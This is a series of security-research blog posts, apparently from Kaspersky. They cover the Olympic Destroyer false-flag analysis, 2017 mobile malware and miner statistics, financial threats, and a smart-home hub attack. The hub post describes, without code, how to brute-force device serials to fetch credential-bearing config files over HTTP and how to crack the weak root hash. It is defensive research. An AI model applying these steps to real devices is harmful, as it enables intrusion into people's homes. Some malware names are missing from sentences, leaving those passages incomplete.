What we discovered next brought a big shock. Using our own in-house malware similarity system we have discovered a unique pattern that linked Olympic Destroyer to Lazarus. A combination of certain code development environment features stored in executable files, known as Rich header, may be used as a fingerprint identifying the malware authors and their projects in some cases. In case of Olympic Destroyer wiper sample analyzed by Kaspersky Lab this “fingerprint” gave a 100% match with previously known Lazarus malware components and zero overlap with any other clean or malicious file known to date to Kaspersky Lab.

Yet the motives and other inconsistencies with Lazarus TTPs made some of our researchers skeptically revisit that rare artefact. With another careful look into these evidence and manual verification of each feature we discovered that the set of features doesn’t match the actual code. At that moment it became clear that the set of features was simply forged to perfectly match the fingerprint used by Lazarus. Considering that this is not very well explored area in malware analysis and attribution, we decided to share some more information on how we proved in a dedicate blogpost with some deep technical details.

We also noticed that there exists a wiper module with original Rich header and it was uploaded to VirusTotal from France where one of the victims (Atos) is located. The compilation timestamp was 2018-02-09 10:42:19 which is almost 2 hours after attack in Pyeongchang ski resorts started. It’s unclear what went wrong but it looks like the attackers rushed to modify the worm’s wiper component, so that it immediately disabled system services and rebooted the machine instead of waiting for 60 minutes. They seem to wanted immediate results as there were just minutes before the official opening ceremony started.

Considering all of the above it it now looks like a very sophisticated false flag which was placed inside the malware intentionally in order to give threat hunter impression that they found a smoking gun evidence, knocking them of the trail to the accurate attribution.


What conclusions can we draw from this?

It really depends on how clever the attacker behind this campaign is.

If Lazarus was the smartest of all, then they could have crafted a sophisticated false flag that would be hard to discover, requiring even more sophistication to prove it’s a forgery. However, the level of researcher sophistication is something that’s difficult for attackers to gauge. The level of complexity we’re talking about would definitely reduce reliability and couldn’t guarantee that everything went to plan. In addition, Lazarus had no rational motive to conduct this attack, not to mention TTPs that obviously weren’t theirs.

Speaking of TTPs, we have seen attackers using NordVPN and MonoVM hosting. Both services are available for bitcoins, which make them the perfect tool for APT actors. This and several other TTPs have in the past been used by the Sofacy APT group, a widely known Russian-language threat actor. A year ago we published our research about the Lazarus APT group using false flags in attacks against banks around the world that pointed to a Russian origin. Was it payback from Russian-speaking Sofacy or was it someone else trying to frame Sofacy? The muddied waters of this case mean we are yet to get a clear answer.

There are some open questions about the attacker’s motivation in this story. We know that the attackers had administrative accounts in the affected networks. By deleting backups and destroying all local data they could have easily devastated the Olympic infrastructure. Instead, they decided to do some “light” destruction: wiping files on Windows shares, resetting event logs, deleting backups, disabling Windows services and rebooting systems into an unbootable state. When you add in the multiple similarities to TTPs used by other actors and malware, intentional false flags and relatively good opsec, it merely raises more questions as to the purpose of all this.

As we see it, these are some of the possible motives behind the attack:

  1. Demonstration of power/skills in the context of a secret communication that we’re unaware of. The potential for full-blown, highly destructive cybersabotage might be a strong argument in top-secret political negotiations.
  2. Testing of destructive worm capability, but with lower impact to avoid too much attention from potential investigators and general public (in case of human error or operational failure).
  3. Trap threat intel researchers in a field of false flags and, based on their responses, learn how to implement the perfect false flag.

The last option makes sense when you consider that the malware contained a wiper that wasn’t used to wipe its own components – the authors wanted it to be discovered.

For a powerful attacker learning how to reliably craft false flags and trick researchers into attributing the attack to someone else can mean gaining the ultimate cover – total immunity against attribution. But this kind of rocket science requires real-life experiments.

We think the carefully orchestrated OlympicDestroyer campaign played a very important role that will shape APT research in the future. While it didn’t fully sabotage the Winter Olympic games in Pyeongchang, its effects were noticed not only in South Korea but also in Europe. Most importantly, it brings with it a potential threat to the attribution process, undermining trust in intel research findings.

There’s a lesson to be taken from this attack that’s useful for all of us in threat intelligence – don’t rush with attribution. This is a very delicate subject that should be handled with great care. We as an industry shouldn’t sacrifice the accuracy of our research to opportunistically promote business.

Known OlympicDestroyer executables


Mobile malware evolution 2017

Wed, 03/07/2018 - 05:00

The year in figures

In 2017, Kaspersky Lab detected the following:

  • 5,730,916 malicious installation packages
  • 94,368 mobile banking Trojans
  • 544,107 mobile ransomware Trojans
Trends of the year Rooting malware: no surrender

For the last few years, rooting malware has been the biggest threat to Android users. These Trojans are difficult to detect, boast an array of capabilities, and have been very popular among cybercriminals. Their main goal is to show victims as many ads as possible and to silently install and launch the apps that are advertised. In some cases, the aggressive display of pop-up ads and delays in executing user commands can render a device unusable.

Rooting malware usually tries to gain super-user rights by exploiting system vulnerabilities that allow it to do almost anything. It installs modules in system folders, thus protecting them from removal. In some cases – Ztorg, for example – even resetting the device to factory settings won’t get rid of the malware. It’s worth noting that this Trojan was also distributed via the Google Play Store – we found almost 100 apps there infected by various Ztorg modifications. One of them had even been installed more than a million times (according to store statistics).

Another example is Trojan.AndroidOS.Dvmap.a. This Trojan uses root rights to inject its malicious code into the system runtime libraries. It was also distributed via the Google Play Store and has been downloaded more than 50,000 times.

System library infected by Trojan.AndroidOS.Dvmap.a

The number of users attacked by rooting malware in 2017 decreased compared to the previous year. However, this threat is still among the most popular types of malware – almost half the Trojans in our Top 20 rating belong to families that can get root privileges. The decrease in their popularity among cybercriminals was most probably due a decline in the number of devices running older versions of Android – the malware’s main targets. According to Kaspersky Lab data, the percentage of users with devices running Android 5.0 or older declined from more than 85% in 2016 to 57% in 2017, while the proportion of Android 6.0 (or newer) users more than doubled – 21% in 2016 compared to 50% in 2017 (6% of users updated their devices during 2016, 7% – during 2017). Newer versions of Android don’t yet have common vulnerabilities that allow super-user rights to be gained, which is disrupting the activity of rooting malware.

Ztorg family Trojans were distributed via the Google Play Store and actively advertised

But the decline in popularity doesn’t mean the developers have completely given up on these Trojans. There are some that continue to flood devices with ads, downloading and initializing installation of various apps, only now without exploiting vulnerabilities to obtain super-user rights. Moreover, they’re still difficult to remove thanks to a variety of system features, such as device administrator capabilities.

Of course, during the year, the attackers tried to modify or change the capabilities of their Trojans in order to preserve and increase profits. In particular, we discovered the Ztorg family using a new money-making scheme that involved sending paid text messages. Two of them, detected by Kaspersky Lab products as Trojan-SMS.AndroidOS.Ztorg.a, were downloaded from the Google Play Store tens of thousands of times. Moreover, we discovered additional modules for ‘standard’ Ztorg family Trojans that could not only send paid text messages but also steal money from a user’s account by clicking on sites with WAP subscriptions. To do this, the Trojans used a special JS file, downloaded from the criminals’ servers.

Trojan-SMS.AndroidOS.Ztorg.a in Google Play Store

The return of the WAP clickers

It wasn’t just the creators of rooting malware that were attracted to WAP billing – in 2017, we discovered lots of new WAP Trojans. Although this behavior cannot be called new – Trojan-SMS.AndroidOS.Podec has been around since 2015 – 2017 was the year that saw a growth in the number of WAP clickers.

The user sees a standard interface, while Trojan-Clicker.AndroidOS.Xafekopy steals money.

These Trojans generally work in the following way: they receive a list of links from the C&C, follow them (usually unnoticed by the user) and ‘click’ on page elements using a specially created JS file. In some cases, the malware visits regular advertising pages (i.e., they steal money from advertisers, rather than from the user); in other cases, they visit pages with WAP subscriptions, with the money being taken from the user’s mobile account.

Part of the JS file used by Trojan-Clicker.AndroidOS.Xafekopy to click a button

A page with WAP billing usually redirects to a mobile operator page where the user confirms they agree to pay for the services. However, this doesn’t stop the Trojans – they are able to click these pages as well. They can even intercept and delete SMSs sent by mobile operators containing information about the service costs.

The dynamic development of mobile banking Trojans

Mobile bankers were also actively evolving throughout the whole of 2017, offering new ways to steal money. We discovered a modification of the FakeToken mobile banker that attacked not only financial apps but also apps for booking taxis, hotels, tickets, etc. The Trojan overlays the apps’ interfaces with its own phishing window where a user is asked to enter their bank card details. It’s worth noting that these actions appear quite normal to the user: the targeted apps are designed to make payments and are therefore likely to request this sort of data.

Code of Trojan-Banker.AndroidOS.Faketoken.q

The latest versions of Android OS include lots of different tools designed to prevent malware from performing malicious actions. However, banking Trojans are constantly looking for ways to bypass these new restrictions, and in 2017 we saw some striking examples of this. In July, we discovered a new modification capable of granting itself the necessary permissions. The Trojan gets round these restrictions by using accessibility services – Android functions designed to create applications for users with disabilities. The Trojan asks the victim for permission to use accessibility services and grants itself some dynamic permissions that include the ability to send and receive SMSs, make calls, and read contacts. The Trojan also adds itself to the list of device administrators, thereby preventing uninstallation. It can also steal data that the user enters into other apps, i.e. operates as a keylogger.

Svpeng added itself to the list of device administrators

In August, we came across yet another representative of the Svpeng mobile malware family that used accessibility services. This modification had a different goal – it blocked the device, encrypted the user’s files and demanded a ransom in bitcoins. demands a ransom

The rise and fall of mobile ransomware programs

The first half of 2017 was marked by a rapid growth in the number of new installation packages for mobile Trojan ransomware – in just six months we detected 1.6 times more files than in the whole of 2016. However, from June 2017, the statistics returned to normal. Interestingly, the growth was triggered by just one family – Ransom.AndroidOS.Congur. Over 83% of all installation packages for mobile Trojan ransomware detected in 2017 belonged to this family. Basically, this is extremely simple malware that changes (or sets) the PIN code on the device and asks the owner to contact the attackers via the QQ messenger.


Throughout the year mobile ransomware remained both simple and effective, with its capabilities and techniques almost unchanged: it overlaid all other windows with its own window, blocking the operation of the device. It should be noted that two popular mobile banking families – Svpeng and Faketoken – acquired modifications capable of encrypting user files, though in general encryptor functionality wasn’t that popular among mobile Trojans.


In 2017, Kaspersky Lab detected 5,730,916 mobile malicious installation packages, which is almost 1.5 times fewer than in the previous year, although more than in any other year before and almost twice as much as in 2015.

Despite the decrease in the number of detected malicious installation packages, in 2017 we registered a growing number of mobile malware attacks – 42.7 million vs. 40 million in 2016.

Number of attacks blocked by Kaspersky Lab products in 2017

The number of attacked users also continued to rise – from the beginning of January until the end of December 2017, Kaspersky Lab protected 4,909,900 unique users of Android devices, which is 1.2 times more than in 2016.

Number of users protected by Kaspersky Lab products in 2017

Geography of mobile threats

Attacks by malicious mobile software were registered in more than 230 countries and territories.

Geography of mobile threats by number of attacked users, 2017

Top 10 countries attacked by mobile malware (by percentage of users attacked):

Country* %** 1 Iran 57.25 2 Bangladesh 42.76 3 Indonesia 41.14 4 Algeria 38.22 5 Nigeria 38.11 6 China 37.63 7 Côte d’Ivoire 37.12 8 India 36.42 9 Nepal 34.03 10 Kenya 33.20

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.

Iran (57.25%), which was second in our Top 10 in 2016, came first after switching places with Bangladesh. In 2017, more than half of our mobile product users in Iran encountered mobile malware. The most widespread were advertising programs of the Ewind family, as well as Trojans of the Trojan.AndroidOS.Hiddapp family.

In second-placed Bangladesh (42.76%), users were most frequently attacked by adware, as well as by, a malicious program capable of stealing a user’s money by making calls to premium numbers.

In every country of this rating the most popular malicious programs were those monetized primarily through advertising. Notably, the most popular mobile malware in India (36.42%), which came eighth in the rating, was AdWare.AndroidOS.Agent.n. This malware can click on web pages, primarily advertising sites, without the user’s knowledge and earning money for ‘displaying’ adverts to the user. Other popular malware in India included Trojans from the Loapi families, which also earned money by clicking on web pages.

Types of mobile malware

In 2017, we decided to include a Trojan-Clicker category in this rating due to the active development and growing popularity of these types of malicious programs. Previously it belonged to the ‘Other’ category.

Distribution of new mobile malware by type in 2016 and 2017

Most significantly, compared to the previous year, was the growth in detections of new Trojan-Ransom malware (+5.2 percentage points), which even outstripped the growth shown by RiskTool (+4.4 p.p.). To recap, RiskTool (47.7%) demonstrated the highest growth in 2016, with its share increasing by 24 p.p. during the year.

For the third year in a row, the percentage of Trojan-SMS installation packages declined, from 11% to 4.5%. As in 2016, this was the most considerable fall.

Trojan-Dropper malware, whose contribution grew throughout 2016, demonstrated a 2.8 p.p. decrease in the number of installation packages in 2017.

TOP 20 mobile malware programs

Please note that this rating of malicious programs does not include potentially dangerous or unwanted programs such as RiskTool or AdWare.

Verdict %* 1 DangerousObject.Multi.Generic 66.99% 2 Trojan.AndroidOS.Boogr.gsh 10.63% 3 4.36% 4 Trojan-Dropper.AndroidOS.Hqwar.i 3.32% 5 Backdoor.AndroidOS.Ztorg.a 2.50% 6 Backdoor.AndroidOS.Ztorg.c 2.42% 7 Trojan.AndroidOS.Sivu.c 2.35% 8 Trojan.AndroidOS.Hiddad.pac 1.83% 9 Trojan.AndroidOS.Hiddad.v 1.67% 10 Trojan-Dropper.AndroidOS.Agent.hb 1.63% 11 1.58% 12 Trojan-Banker.AndroidOS.Svpeng.q 1.55% 13 1.53% 14 1.49% 15 Trojan.AndroidOS.Loapi.b 1.46% 16 Trojan.AndroidOS.Hiddapp.u 1.39% 17 Trojan.AndroidOS.Agent.rx 1.36% 18 Trojan.AndroidOS.Triada.dl 1.33% 19 Trojan.AndroidOS.Iop.c 1.31% 20 Trojan-Dropper.AndroidOS.Hqwar.gen 1.29%

* Percentage of users attacked by the malware in question, relative to all users of Kaspersky Lab’s mobile security product that were attacked.

As in previous years, first place was occupied by DangerousObject.Multi.Generic (66.99%), the verdict used for malicious programs that are detected using cloud technologies. These technologies are helpful when antivirus databases don’t yet include signatures or heuristics to detect a malicious program. This is basically how the very latest malware is detected.

Trojan.AndroidOS.Boogr.gsh (10.63%) came second. This verdict is given to files recognized as malicious by our system based on machine learning. In 2017, the most popular Trojans detected with this verdict were advertising Trojans and Trojan-Clickers. (4.36%) was third. It poses as a popular game or program and its main purpose is the aggressive display of adverts. Its main ‘audience’ is in Russia. Once launched, downloads the application it imitates, and upon installation requests administrator rights to prevent its removal.

Occupying fourth was Trojan-Dropper.AndroidOS.Hqwar.i (3.32%), the verdict used for Trojans protected by a specific packer/obfuscator. In most cases, this name indicates representatives of the Asacub, FakeToken and Svpeng mobile banking families. Yet another verdict by which this packer is detected – Trojan-Dropper.AndroidOS.Hqwar.gen (1.29%) – was in 20th place.

Fifth and sixth were representatives of the Backdoor.AndroidOS.Ztorg family – advertising Trojans using super-user rights to install various applications and to prevent their removal. In 2016, a representative of this family climbed as high as second in our rating. It is worth noting that in 2017 the rating included 12 advertising Trojans – the same as in 2015, but less than in 2016.

Trojan-Dropper.AndroidOS.Agent.hb malware (1.63%) was 10th in the rating. This Trojan decrypts and runs another Trojan from the Loaipi family, which has a representative in fifth (Trojan.AndroidOS.Loapi.b). This is a complex modular malicious program whose functionality depends on the modules that it downloads from the attacker’s server. Our research has shown that their arsenal has modules for sending paid text messages, mining crypto currencies and clicking on sites with WAP subscriptions.

Trojan-Banker.AndroidOS.Svpeng.q, the most popular mobile banking Trojan in 2016, came 12th. Cybercriminals distributed it via the advertising network AdSense. This Trojan uses phishing windows to steal bank card data and also attacks SMS-banking systems.

In 14th place was, which steals money from users by making calls to premium numbers. It uses device administrator rights to prevent it from being removed.

Mobile banking Trojans

In 2017, we detected 94,368 installation packages for mobile banking Trojans, which is 1.3 times less than in the previous year.

Number of installation packages for mobile banking Trojans detected by Kaspersky Lab solutions in 2017

In 2017, mobile banking Trojans attacked 259,828 users in 164 countries.

Geography of mobile banking threats (percentage of all users attacked, 2017)

Top 10 countries attacked by mobile banker Trojans (ranked by percentage of users attacked):

Country* %** 1 Russia 2.44 2 Australia 1.14 3 Turkey 1.01 4 Uzbekistan 0.95 5 Kazakhstan 0.68 6 Tajikistan 0.59 7 Moldova 0.56 8 Ukraine 0.52 9 Latvia 0.51 10 Belarus 0.40

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.

The top 10 countries attacked by mobile banker Trojans in 2017 saw a slight change: South Korea and China left the rating while Turkey and Latvia took their place.

As in the previous year, Russia topped the ranking, with 2.44% of users in that country encountering mobile banking Trojans in 2017. The most popular families were Asacub, Svpeng and Faketoken.

In Australia (1.14%), representatives of the Acecard and Marcher mobile banking families were the most widespread threats. In third-placed Turkey the most active families of mobile bankers were Gugi and Asacub.

In the other countries of the Top 10, the Faketoken and Svpeng mobile banking families were the most widespread. In particular, a representative of the Svpeng family – Trojan-Banker.AndroidOS.Svpeng.q – became the most popular mobile banking Trojan for the second year in a row. It was encountered by almost 20% of all users attacked by mobile bankers in 2017. The most popular mobile banking family of 2017 was Asacub. Its representatives attacked almost every third user affected by mobile bankers.

Mobile ransomware

The number of detected mobile Trojan-Ransomware installation packages continued to grow in 2017. We discovered 544,107 packages, which was double the figure for 2016, and 17 times more than in 2015.

This growth was largely due to activity by the Trojan-Ransom.AndroidOS.Congur family. By Q4, the Congur family had ceased to actively generate new installation packages, which was immediately reflected in the statistics.

Number of mobile Trojan-Ransomware installation packages detected by Kaspersky Lab (Q1 2017 – Q4 2017)

Throughout 2017, Kaspersky Lab’s security products protected 110,184 users in 161 countries from mobile ransomware.

Geography of mobile Trojan-Ransomware in 2017 (percentage of all users attacked)

Top 10 countries attacked by mobile Trojan-Ransomware (ranked by percentage of users attacked):

Country* %** 1 USA 2.01 2 Kazakhstan 1.35 3 Belgium 0.98 4 Italy 0.98 5 Korea 0.76 6 Poland 0.75 7 Canada 0.71 8 Mexico 0.70 9 Germany 0.70 10 Romania 0.55

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country by mobile Trojan-Ransomware, relative to all users of Kaspersky Lab’s mobile security product in the country.

The country attacked most by ransomware in 2017 was the US, where 2% of users encountered this threat. As in the previous year, when the US came second in the ranking, the most popular Trojan ransomware were representatives of the Trojan-Ransom.AndroidOS.Svpeng family. Then, Germany was in first place, though in 2017, a decrease in activity by the Trojan-Ransom.AndroidOS.Fusob family saw it (0.70%) drop to ninth in the rating. The Fusob family still remained the most active in Germany.

In Kazakhstan (1.35%), which came second, the most frequently used ransomware programs were various modifications of the Trojan-Ransom.AndroidOS.Small family. Fifth place in the rating was occupied by South Korea (0.76%), where most users were attacked by the Trojan-Ransom.AndroidOS.Congur family. In all the other countries of the Top 10, the Fusob and Zebt families were the most active.


For the last few years, advertising Trojans have been one of the main threats facing Android users. First, they are very widespread, accounting for more than half of the entries in our ratings. Secondly, they are dangerous, with many exploiting system vulnerabilities to gain root privileges. The Trojans can then get full control of a system and, for example, install their modules in system folders to prevent their removal. In some cases, even resetting the device to factory settings is not enough to get rid of the rooting malware.

However, the vulnerabilities that allow attackers to gain super-user rights are only found on older devices, and their share is declining. As a result, advertising Trojans are increasingly confronted with devices on which they cannot gain a foothold. This means the user has the chance to get rid of this malware once it starts aggressively displaying ads or installing new applications. This is probably why we are now seeing more and more advertising Trojans that don’t show ads to the user; instead, they click on them, helping their owners earn money from advertisers. The user may not even notice this behavior because the only telltale signs of infection are increased traffic and battery use.

Trojans that target WAP billing sites use similar techniques. They receive a list of links from the C&C, follow them and ‘click’ on page elements using a JS file received from the malicious server. The main difference is that they click not only advertising links but on WAP billing sites as well, which results in the theft of money from the user’s mobile account. This type of attack has been around for several years now, but it was only in 2017 that these Trojans appeared in significant numbers, and we assume this trend will continue in 2018.

In 2017, we discovered several modular Trojans that steal money via WAP billing as one of their monetization methods. Some of them also had modules for crypto-currency mining. The rise in price of crypto currency makes mining a more profitable business, although the performance of mobile devices is not that good. Mining results in rapid battery consumption, and in some cases even device failure. We also discovered several new Trojans posing as useful applications, but which were actually mining crypto currency on an infected device. If the rise of crypto currency continues in 2018, we’ll most probably see lots of new miners.

Mining is the new black

Mon, 03/05/2018 - 05:00

Last year we published a story revealing the rise of miners across the globe. At the time we had discovered botnets earning millions of USD. We knew this was just the beginning of the story, which turned out to develop rapidly.

Together with the rest of the world, we have been watching the hike in cryptocurrency, for example, the price of Bitcoin and Altcoins continuously beat records throughout 2017.

Bitcoin and Altcoins prices growth in 2017

While some spend time talking about what’s good or bad for the market and the global economy, we’ve seen that such a spike in prices was definitely a call for threat actors, meaning there are good opportunities for cybercriminals to earn money.

As a result, many cybercriminal groups have switched to malicious miner distribution, and the number of users that have encountered cryptocurrency miners has increased dramatically. We have found, that by the end of 2017, 2.7 million users had been attacked by malicious miners – this is almost 1.5 times higher than in 2016 (1.87 mln).

Number of Kaspersky Lab users attacked by malicious miners in 2017

They become so active and popular that even ransomware – which has frightened the world for the last couple of years, seems to step aside for this threat.

Here are some reasons why:

Firstly, miners and ransomware both have a clear monetization model. In the case of ransomware, attackers infect PCs, decrypt files and earn money by receiving a ransom for users’ data. The miners model is similar in its simplicity: attackers infect victims, make coins using CPU or GPU power, and earn real money through legal exchanges and transactions.

Miners’ monetization scheme

Secondly, unlike ransomware, it is very hard for users to understand if they’ve been infected by miners or not. In general, users use their computer for Internet surfing. This activity is not high loaded for CPU. The other 70-80% of CPU power is used by mining programs, and some of them have special functions to reduce mining capacities or cancel the process at all, if another resource-demanding program (for example, a videogame) is executed.

Most importantly, it is now very easy to make your own miner. Those interested can get everything that they need:

  • Ready to use partner programs
  • Open mining pools
  • A lot of miner builders

We have found that the most popular miner pool used by threat actors is Nanopool.

Statistics for used legitimate pools

Also, according to our data, 80% of illegal miners contain the open source code of legal miners, or it is just a legal miner that has been packed.

Ways of spreading

Usually, threat actors collaborate with potentially unwanted application (PUA) partner programs to spread miners. However, some small criminal groups try to spread malware by using different social engineering tricks, such as fake lotteries, etc. Potential victims need to download a generator of random numbers from a file-sharing service and run this on a PC to participate. It’s a simple trick, but a very productive one.

Another popular method is web-mining through a special script being executed in browser. For example, in 2017 our security solutions stopped the launch of web miners on more than 70 million occasions. The most popular script used by cybercriminals is Coinhive, and usual cases of its use in the wild are websites with a lot of traffic. The longer the user session on those sites, the more money the site’s owner earned from mining. Major incidents involving Coinhive are hacked web pages, such as the Pirate Bay case, YouTube ads or UFC fight pass mining. However, other examples of its legal use are also known.

There are other groups, which do not need to spread miners to many people. Instead, their targets are powerful servers in big companies. Thus, for instance, Wannamine was spreading in internal networks using an EternalBlue exploit, and earned nine thousand Monero this way (approx. two million dollars). However, the first miner that used the EternalBlue exploit was Adylkuzz. In our previous research we described another miner family – Winder – that has used an extra service to restore a miner when it was being deleted by an AV product. That botnet earned a half million dollars.

Sophisticated techniques

This year we are observing the next trend – threat actors behind miners have begun to use malware techniques from targeted attacks. Our latest discovery is the “hollow” miner that uses a process-hollowing technique.

In this case the infection vector is a PUA module. A victim may have just wanted to download a legitimate application, but instead they downloaded a PUA with a miner installer inside. This miner installer drops the legitimate Windows utility msiexec with a random name, which downloads and executes a malicious module from the remote server. In the next step it installs a malicious scheduler task which drops the miner’s body. This body executes the legitimate system process and uses a process-hollowing technique (legitimate process code is changed to malicious). Also, a special flag, system critical flag, is set to this new process. If a victim tries to kill this process, the Windows system will reboot. So, it is a challenge for security solutions to deal with such malicious behavior and detect the threat properly.

Infection chain

Process hollowing example

Via this scheme, criminals have been mining Electroneum coins, and during the second half of 2017 they earned over seven million dollars.

Multipool wallet information

Also this year, we found one threat group that has been targeting big organizations with the main purpose to utilize their computer resources for mining. After getting into a corporate network they get access to the domain controller, and as a result they use domain policies to launch malicious code. In this particular case, actors executed malicious PowerShell script on each endpoint and server inside the corporate network.

Malicious powershell script

This script has the following logic:

  • After launching, it checks if this endpoint belongs to specific accounts, i.e. senior levels or information security officers. If it is true, then the script won’t execute the miner.
  • This script also checks current date and time information. It will execute the malicious miner in non-working time.
So what’s next?

Should we expect a further evolution in this class of malware? For sure. Moreover, we will see a spread in malware that uses new blockchain technologies. One of the recent and very promising technologies is the blockchain-based proof-of-space (PoSpace) concept.

Unlike proof-of-work (PoW) used in general mining botnets, a PoSpace algorithm needs a hard disk space. Therefore, a new type of miners based on this algorithm will be aiming first of all at big data servers.

On the one hand, monetization in this case is like that in usual malware miners with a PoW algorithm. On the other, this technology can provide cybercriminals with another profit. The blockchain on the PoS algorithm is a very big decentralized anonymous data center that can be used to spread malware or illegal content. As a result, it can bring more damage. Data will be encrypted and no one will know where it is physically stored.

Mining scheme based on proof-of-concept algorithm

To protect your network against such threats we advise you:

  • Conduct a security audit on a regular basis
  • Use security solutions on endpoints and servers

Kaspersky Lab products detect such threats with various verdicts.

  • PDM:Trojan.Win32.Generic
  • not-a-virus:RiskTool.Win32.BitCoinMiner
  • HEUR:Trojan.Win32.CoinMiner

Financial Cyberthreats in 2017

Wed, 02/28/2018 - 05:00

In 2017, we saw a number of changes to the world of financial threats and new actors emerging. As we have previously noted, fraud attacks in financial services have become increasingly account-centric. User data is a key enabler for large-scale fraud attacks, and frequent data breaches – among other successful attack types – have provided cybercriminals with valuable sources of personal information to use in account takeovers or false identity attacks. These account-centric attacks can result in many other losses, including those of further customer data and trust, so mitigation is as important as ever for both businesses and financial services customers.

Attacks on ATMs continued to rise in 2017, attracting the attention of many cybercriminals, with attackers targeting bank infrastructure and payment systems using sophisticated fileless malware, as well as the more rudimentary methods of taping over CCTVs and drilling holes. In 2017, Kaspersky Lab researchers uncovered, among other things, attacks on ATM systems that involved new malwareremote operations, and an ATM-targeting malware called ‘Cutlet Maker’ that was being sold openly on the DarkNet market for a few thousand dollars, along with a step-by-step user guide. Kaspersky Lab has published a report outlining possible future ATM attack scenarios targeting ATM authentication systems.

It is also worth mentioning that major cyber incidents continue to take place. In September 2017, Kaspersky Lab researchers identified a new series of targeted attacks against at least 10 financial organizations in multiple regions, including Russia, Armenia, and Malaysia. The hits were performed by a new group called Silence. While stealing funds from its victims, Silence implemented specific techniques similar to the infamous threat actor, Carbanak.

Thus, Silence joins the ranks of the most devastating and complex cyber-robbery operations like Metel, GCMAN and Carbanak/Cobalt, which have succeeded in stealing millions of dollars from financial organizations. The interesting point to note with this actor is that the criminals exploit the infrastructure of already infected financial institutions for new attacks: sending emails from real employee addresses to a new victim, along with a request to open a bank account. Using this trick, criminals make sure the recipient doesn’t suspect the infection vector.

Small and medium-sized businesses didn’t escape financial threats either. Last year Kaspersky Lab’s researchers discovered a new botnet that cashes-in on aggressive advertising, mostly in Germany and the US. Criminals infect their victims’ computers with the Magala Trojan Clicker, generating fake ad views, and making up to $350 from each machine. Small enterprises lose out most because they end up doing business with unscrupulous advertisers, without even knowing it.

Moving down one more step – from SMEs to individual users – we can say that 2017 didn’t give the latter much respite from financial threats. Kaspersky Lab researchers detected NukeBot – a new malware designed to steal the credentials of online banking customers. Earlier versions of the Trojan were known to the security industry as TinyNuke, but they lacked the features necessary to launch attacks. The latest versions however, are fully operable, and contain code to target the users of specific banks.

This report summarizes a series of Kaspersky Lab reports that between them provide an overview of how the financial threat landscape has evolved over the years. It covers the common phishing threats that users encounter, along with Windows-based and Android-based financial malware.

The key findings of the report are:

  • In 2017, the share of financial phishing increased from 47.5% to almost 54% of all phishing detections. This is an all-time high, according to Kaspersky Lab statistics for financial phishing.
  • More than one in four attempts to load a phishing page blocked by Kaspersky Lab products is related to banking phishing.
  • The share of phishing related to payment systems and online shops accounted for almost 16% and 11% respectively in 2017. This is slightly more (single percentage points) than in 2016.
  • The share of financial phishing encountered by Mac users nearly doubled, accounting for almost 56%.
Banking malware:
  • In 2017, the number of users attacked with banking Trojans was 767,072, a decrease of 30% on 2016 (1,088,900).
  • 19% of users attacked with banking malware were corporate users.
  • Users in Germany, Russia, China, India, Vietnam, Brazil and the US were the most often attacked by banking malware.
  • Zbot is still the most widespread banking malware family (almost 33% of attacked users), but is now being challenged by the Gozi family (27.8%).
Android banking malware:
  • In 2017, the number of users that encountered Android banking malware decreased by almost 15% to 259,828 worldwide.
  • Just three banking malware families accounted for attacks on the vast majority of users (over 70%).
  • Russia, Australia and Turkmenistan were the countries with the highest percentage of users attacked by Android banking malware.

 Read the full “Financial Cyberthreats in 2017” report (English, PDF)

IoT hack: how to break a smart home… again

Tue, 02/27/2018 - 05:00

There can never be too many IoT gadgets – that’s what people usually think when buying yet another connected device with advanced functionality. From our perspective, we also think there can’t be too many IoT investigations. So, we have continued our experiments into checking and uncovering how vulnerable they are, and followed up our research focusing on smart home devices.

Researchers have already been analyzing connected devices for many years, but concerns around cybersecurity in the IoT world are still there, putting users under significant risk. In our previous analysis, possible attack vectors affecting both a device and a network to which it’s connected have been discovered. This time, we’ve chosen a smart hub designed to control sensors and devices installed at home. It can be used for different purposes, such as energy and water management, monitoring and even security systems.

This tiny box receives information from all the devices connected to it, and if something happens or goes wrong, it immediately notifies its user via phone, SMS or email in accordance with its preferences. An interesting thing is that it is also possible to connect the hub to local emergency services, thus alerts will be sent to them accordingly. So, what if someone was able to interrupt this smart home’s system and gain control over home controllers? It could turn life into a nightmare not only for its user, but also for the emergency services. We decided to check a hypothesis and as a result discovered logical vulnerabilities providing cybercriminals with several attack vectors opportunities.

Physical access

First, we decided to check what could be available for exploitation by an attacker being outside of the network. We discovered that the hub’s firmware is available publicly and can be downloaded without any subscription from the vendor’s servers. Therefore, once downloading it, anyone can easily revise the files inside it and analyze them.

We found that the password from the root account in the shadow file is encrypted with the Data Encryption Standard (DES) algorithm. As practice shows, this cryptographic algorithm is not considered to be secure or highly resistant to hacking, and therefore it is possible for an attacker to successfully obtain the hash through brute-force and find out the ‘root’ password.

To access the hub with ‘root’ rights and therefore modify files or execute different commands, physical access is needed. However, we don’t neglect the hardware hacking of devices and not all of them survive afterwards.

We explored the device physically, but of course not everyone would be able to do this. However, our further analysis showed there are other options to gain remote access over it.

Remote access

For hub control, users can either use a special mobile application or a web-portal through which they can set up a personal configuration and check all the connected systems.

To implement it, the owner sends a command for synchronization with the hub. At that moment, all settings are packed in the config.jar file, which the hub then downloads and implements.

But as we can see, the config.jar file is sent through HTTP and the device’s serial number is used as the device identifier. So, hackers can send the same request with an arbitrary serial number, and download an archive.

Some might think that serial numbers are very unique, but developers prove otherwise: serial numbers are not very well protected and can be brute-forced with a byte selection approach. To check the serial number, remote attackers can send a specially crafted request, and depending on the server’s reply, will receive information if the device is already registered in the system.

Moreover, our initial research has shown that users, without even realizing it, put themselves at risk by publishing their tech reviews online or posting photos of a hub in social networks and openly presenting devices’ serial numbers. And the security consequences will not be long in coming.

While analyzing the config.jar file archive, we found that it contains login and password details – all the necessary data to access a user’s account through the web-interface. Although the password is encrypted in the archive, it can be broken by hash decryption with the help of publicly available tools and open-sourced password databases. Importantly, during the initial registration of a user account in the system, there are no password complexity requirements (length, special characters, etc.). This makes password extraction easier.

As a result, we gained access to a user’s smart home with all the settings and sensor information being available for any changes and manipulations. The IP address is also listed there.

It is also possible that there might be other personal sensitive information in the archive, given the fact that users often upload their phone numbers into the system to receive alerts and notifications.

